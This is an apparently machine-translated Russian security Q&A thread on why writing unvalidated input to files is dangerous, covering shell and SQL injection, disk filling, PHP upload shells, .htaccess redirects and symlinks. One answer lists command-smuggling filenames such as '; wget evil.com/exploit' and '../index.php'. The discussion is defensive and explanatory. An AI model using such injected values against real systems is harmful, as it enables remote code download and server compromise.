Я пытаюсь показать, что использование данных в качестве входных данных и запись непосредственно в файл без их анализа, проверки или очистки представляет собой угрозу безопасности.
Может ли кто-нибудь показать пример того, как это можно использовать. Я подумал, что может быть способ начать запись в новый файл вместо того, который должен. если это возможно, я смогу записать в файл с именем ls или меньше и т. д.
Извините, я забыл упомянуть ОС. Это Солярис.
Файлы - это просто файлы данных, которые, возможно, будут позже считаны в базу данных, но я не хочу рассчитывать на базу данных как на единственный эксплойт.
Программа на этих серверах прослушивает порт, и я могу подключиться и отправить ей данные, и я знаю, что позже она запишет эти данные в файл с именем output.dat.
Это действительно зависит от того, что вы делаете с этими данными. Если данные используются позже в качестве входных данных для команд оболочки, тогда вы можете просто прокрасться в команды, которые подоболочка и выполнять произвольные команды (установить бэкдор, добавить пользователя, изменить пароли ...). Если данные вставляются в SQL без подготовленных операторов, тогда вы есть стандартная SQL-инъекция. Самый простой случай - это взорвать пространство вашего раздела; если вы можете генерировать данные свободно и без ограничений, тогда ничто не остановит злоумышленника от переполнения диска / раздела. Большинство программ не проверяют такое состояние, поэтому оно перейдет в неизвестное состояние, в лучшем случае DoS, в худшем - уязвимое.
Нечто подобное - хорошо известная ошибка безопасности, которую совершают многие веб-сайты. Если вы загружаете файлы от пользователей (например, изображения аватаров для форума) и не проверяете, что они являются действительными файлами изображений, злоумышленник может вместо этого загрузить файл PHP и выполнить его на вашем сервере, запросив его в веб-браузере из каталог ваших изображений. Часто недостаточно просто проверить расширение имени файла, вы должны проверить содержимое файла или рискуете получить вредоносный файл в вашей системе.
То же самое, вероятно, в целом верно для любой ситуации, когда вы принимаете загрузку файла и не проверяете его содержимое. Это может быть исполняемый файл Solaris, ожидающий неосторожного обращения. chmod -R 777 /var/www или сценарий Perl, который добавляет нового пользователя или искаженный файл PDF, предназначенный для компрометации пользователи вашего сайта или файл .htaccess, который перенаправляет пользователей на сайт злоумышленника, или даже символическую ссылку на / etc / passwd. (На самом деле, я не уверен, можно ли «загрузить» символическую ссылку, но, безусловно, можно было бы представить сценарий, в котором ненадежный пользователь может создать символическую ссылку в вашей системе.)
Проверка того, что содержимое файла соответствует тому, что должно быть, усложняет злоумышленнику получение кода эксплойта в вашей системе. Вы правы, думая, что отказ от проверки является ошибкой безопасности.
Как только вредоносный файл попадает в систему, ему по-прежнему требуется вторая ошибка / уязвимость для использования файла, но это приближает злоумышленника на один шаг к компрометации вашей системы.
В дополнение к этому вы также должны очистить имя файла, если оно указано. Предыдущий пример .htaccess - это один из способов, которым злоумышленник может использовать имя файла, но такие имена файлов, как "../index.php" или |/usr/bin/wget evil.com/exploit или ; wget evil.com/exploit или && wget evil.com/exploit все могут делать неприятные вещи с вашей системой в зависимости от кода обработки файлов.
Если мы говорим об Apache, было бы трудно заставить его перезаписать системный двоичный файл, например ls но если это сервер, который вы написали сами, который не теряет привилегий и работает как root, тогда он будет иметь разрешение, необходимое для перезаписи системных двоичных файлов, и будет просто ждать правильного пути к файлу.
Это полностью зависит от того, на какой платформе вы находитесь. Например, если это система с лампами, это может быть так же просто, как запись файла .php в корневой каталог сети, или более сложный подход. продвинутая LIF-атака.
Под окнами вы можете использовать обман с именами чтобы получить удаленное выполнение кода.
Пока злоумышленник не может изменить имя файла или метаданные файла и есть ограничение на записываемое количество, я не вижу проблемы.
В противном случае было бы опасно хранить случайные данные в файле. Если вышесказанное верно, файл - это просто контейнер.
Это не означает, что в приложении для чтения нет ошибки, которую можно было бы использовать. Например, если в блокноте был эксплойт или что-то в этом роде, и пользователь мог написать последовательность, использующую эксплойт, в текстовый файл.